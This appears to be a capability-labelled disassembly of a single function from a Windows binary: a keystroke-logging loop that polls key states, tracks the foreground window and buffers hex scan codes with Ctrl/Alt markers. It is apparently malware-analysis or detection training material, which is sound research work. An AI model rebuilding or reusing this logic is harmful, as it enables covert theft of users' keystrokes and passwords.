Function at 0x10014e80
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 8], 0
mov byte [ebp - 9], 1
mov dword [ebp - 4], 0
push str.CKeyboardIntercept::RunNoDriver_____Waiting_for_keys
call fcn.10010cb0
add esp, 4
mov ecx, 0x100f5260
call fcn.100201b0
push str.CKeyboardIntercept::RunNoDriver_____Loading_logger
call fcn.10010cb0
add esp, 4
mov eax, dword [ebp - 0xa8]
mov ecx, dword [0x100f4c54]
mov dword [eax + 0x224], ecx
push str.CKeyboardIntercept::RunNoDriver_____Looping
call fcn.10010cb0
add esp, 4
mov dword [ebp - 0x10], 0x1388
mov edx, 1
test edx, edx
je 0x10015581
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x320
jle 0x10014f16
call fcn.10012940
mov dword [ebp - 0x10], 0
lea ecx, [ebp - 0x1c]
push ecx
call fcn.10014d90
add esp, 4
movzx edx, al
test edx, edx
jne 0x10014f33
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10014eeb
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 4]
je 0x10014f72
mov ecx, dword [ebp - 0xa8]
call fcn.10014bb0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 4], ecx
mov byte [ebp - 9], 1
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xa8]
mov ecx, dword [ecx + 0x224]
call fcn.1000cf70
mov edx, dword [ebp - 8]
push edx
movzx eax, word [ebp - 0x1c]
push eax
mov ecx, dword [0x100f525b]
push ecx
mov edx, dword [0x100f5257]
push edx
push str.Admin_Keys___x___x__Current:_x_and_Count:_d_
call fcn.10010cb0
add esp, 0x14
cmp dword [ebp - 8], 1
jne 0x10014fc6
movzx eax, word [ebp - 0x1c]
cmp eax, dword [0x100f525b]
jne 0x10014fc6
mov dword [ebp - 8], 0xffffffec
mov ecx, dword [ebp - 0xa8]
call fcn.10014c30
mov dword [ebp - 8], 0xffffffec
jmp 0x10014eeb
cmp dword [ebp - 8], 0
jne 0x10014fe8
movzx ecx, word [ebp - 0x1c]
cmp ecx, dword [0x100f5257]
jne 0x10014fe8
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x10014eeb
mov dword [ebp - 8], 0
movzx eax, word [ebp - 0x1c]
cmp eax, 0x2a
jne 0x10014ffd
jmp 0x10014eeb
movzx ecx, word [ebp - 0x1c]
cmp ecx, 0x1d
jne 0x1001500b
jmp 0x10014eeb
movzx edx, word [ebp - 0x1c]
cmp edx, 0x38
jne 0x10015019
jmp 0x10014eeb
movzx eax, word [ebp - 0x1c]
cmp eax, 0x36
jne 0x10015027
jmp 0x10014eeb
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ecx + 0x220]
add edx, 1
mov eax, dword [ebp - 0xa8]
mov dword [eax + 0x220], edx
mov dword [0x100f5194], 0
movzx ecx, word [ebp - 0x1c]
push ecx
push str._02x_
push 8
lea edx, [ebp - 0x2c]
push edx
call fcn.10003100
add esp, 0x10
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 0x21c]
mov dword [ebp - 0x38], ecx
push bind
lea edx, [ebp - 0x34]
push edx
push 0x4000
mov eax, dword [ebp - 0x38]
push eax
call fcn.1009da18
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jl 0x100150b6
push bind
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov edx, 0x4000
sub edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x34]
push eax
call fcn.1009db50
mov dword [ebp - 0x30], eax
push 0xa1
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
test ecx, ecx
jne 0x100150e6
push 0xa0
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
test edx, edx
jne 0x100150e6
mov dword [ebp - 0xac], 0
jmp 0x100150f0
mov dword [ebp - 0xac], 1
mov al, byte [ebp - 0xac]
and al, 1
shl al, 2
mov cl, byte [ebp - 0x1a]
and cl, 0xfb
or cl, al
mov byte [ebp - 0x1a], cl
push 0xa3
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx edx, ax
test edx, edx
jne 0x10015134
push 0xa2
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x10015134
mov dword [ebp - 0xb0], 0
jmp 0x1001513e
mov dword [ebp - 0xb0], 1
mov cl, byte [ebp - 0xb0]
and cl, 1
shl cl, 4
mov dl, byte [ebp - 0x1a]
and dl, 0xef
or dl, cl
mov byte [ebp - 0x1a], dl
push 0xa4
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x10015183
push 0xa5
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
movsx ecx, ax
test ecx, ecx
jne 0x10015183
mov dword [ebp - 0xb4], 0
jmp 0x1001518d
mov dword [ebp - 0xb4], 1
mov dl, byte [ebp - 0xb4]
and dl, 1
shl dl, 3
mov al, byte [ebp - 0x1a]
and al, 0xf7
or al, dl
mov byte [ebp - 0x1a], al
push 0x90
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [ebp - 0xb6], ax
movsx ecx, word [ebp - 0xb6]
neg ecx
sbb ecx, ecx
neg ecx
and cl, 1
mov dl, byte [ebp - 0x1a]
and dl, 0xfe
or dl, cl
mov byte [ebp - 0x1a], dl
mov al, byte [ebp - 0x1a]
shr al, 3
and al, 1
movzx ecx, al
test ecx, ecx
je 0x10015232
mov edx, dword [ebp - 0xa8]
mov eax, dword [edx + 0x218]
mov dword [ebp - 0x44], eax
push bind
lea ecx, [ebp - 0x40]
push ecx
push 0x4000
mov edx, dword [ebp - 0x44]
push edx
call fcn.1009da18
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jl 0x10015232
push bind
push str.__Alt
push 0
mov eax, 0x4000
sub eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x44]
add ecx, dword [ebp - 0x40]
push ecx
call fcn.1009db50
mov dword [ebp - 0x3c], eax
mov dl, byte [ebp - 0x1a]
shr dl, 4
and dl, 1
movzx eax, dl
test eax, eax
je 0x10015295
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ecx + 0x218]
mov dword [ebp - 0x50], edx
push bind
lea eax, [ebp - 0x4c]
push eax
push 0x4000
mov ecx, dword [ebp - 0x50]
push ecx
call fcn.1009da18
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x10015295
push bind
push str.__Ctrl
push 0
mov edx, 0x4000
sub edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x4c]
push eax
call fcn.1009db50
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, dword [ebp - 0xa8]
call fcn.100145e0
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x24]
movsx eax, byte [edx + 1]
test eax, eax
jne 0x1001530d
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ecx + 0x218]
mov dword [ebp - 0x5c], edx
push bind
lea eax, [ebp - 0x58]
push eax
push 0x4000
mov ecx, dword [ebp - 0x5c]
push ecx
call fcn.1009da18
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x10015304
push bind
mov edx, dword [ebp - 0x24]
push edx
push 0
mov eax, 0x4000
sub eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x58]
push ecx
call fcn.1009db50
mov dword [ebp - 0x54], eax
mov byte [ebp - 9], 0
jmp 0x10015481
movzx edx, byte [ebp - 9]
test edx, edx
jne 0x1001536a
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 0x218]
mov dword [ebp - 0x68], ecx
push bind
lea edx, [ebp - 0x64]
push edx
push 0x4000
mov eax, dword [ebp - 0x68]
push eax
call fcn.1009da18
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jl 0x10015368
push bind
push 0x100e527c
push 0
mov ecx, 0x4000
sub ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0x68]
add edx, dword [ebp - 0x64]
push edx
call fcn.1009db50
mov dword [ebp - 0x60], eax
jmp 0x100153bd
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 0x218]
mov dword [ebp - 0x74], ecx
push bind
lea edx, [ebp - 0x70]
push edx
push 0x4000
mov eax, dword [ebp - 0x74]
push eax
call fcn.1009da18
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x100153bd
push bind
push 0x100e5280
push 0
mov ecx, 0x4000
sub ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x74]
add edx, dword [ebp - 0x70]
push edx
call fcn.1009db50
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 0x218]
mov dword [ebp - 0x80], ecx
push bind
lea edx, [ebp - 0x7c]
push edx
push 0x4000
mov eax, dword [ebp - 0x80]
push eax
call fcn.1009da18
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jl 0x1001540f
push bind
mov ecx, dword [ebp - 0x24]
push ecx
push 0
mov edx, 0x4000
sub edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x7c]
push eax
call fcn.1009db50
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ecx + 0x218]
mov dword [ebp - 0x8c], edx
push bind
lea eax, [ebp - 0x88]
push eax
push 0x4000
mov ecx, dword [ebp - 0x8c]
push ecx
call fcn.1009da18
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x1001547d
push bind
push 0x100e5284
push 0
mov edx, 0x4000
sub edx, dword [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x88]
push eax
call fcn.1009db50
mov dword [ebp - 0x84], eax
mov byte [ebp - 9], 1
mov cl, byte [ebp - 0x1a]
shr cl, 3
and cl, 1
movzx edx, cl
test edx, edx
je 0x100154ff
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax + 0x218]
mov dword [ebp - 0x98], ecx
push bind
lea edx, [ebp - 0x94]
push edx
push 0x4000
mov eax, dword [ebp - 0x98]
push eax
call fcn.1009da18
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jl 0x100154ff
push bind
push 0x100e5284
push 0
mov ecx, 0x4000
sub ecx, dword [ebp - 0x94]
push ecx
mov edx, dword [ebp - 0x98]
add edx, dword [ebp - 0x94]
push edx
call fcn.1009db50
mov dword [ebp - 0x90], eax
mov al, byte [ebp - 0x1a]
shr al, 4
and al, 1
movzx ecx, al
test ecx, ecx
je 0x1001557c
mov edx, dword [ebp - 0xa8]
mov eax, dword [edx + 0x218]
mov dword [ebp - 0xa4], eax
push bind
lea ecx, [ebp - 0xa0]
push ecx
push 0x4000
mov edx, dword [ebp - 0xa4]
push edx
call fcn.1009da18
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jl 0x1001557c
push bind
push 0x100e5284
push 0
mov eax, 0x4000
sub eax, dword [ebp - 0xa0]
push eax
mov ecx, dword [ebp - 0xa4]
add ecx, dword [ebp - 0xa0]
push ecx
call fcn.1009db50
mov dword [ebp - 0x9c], eax
jmp 0x10014eeb
mov esp, ebp
pop ebp
ret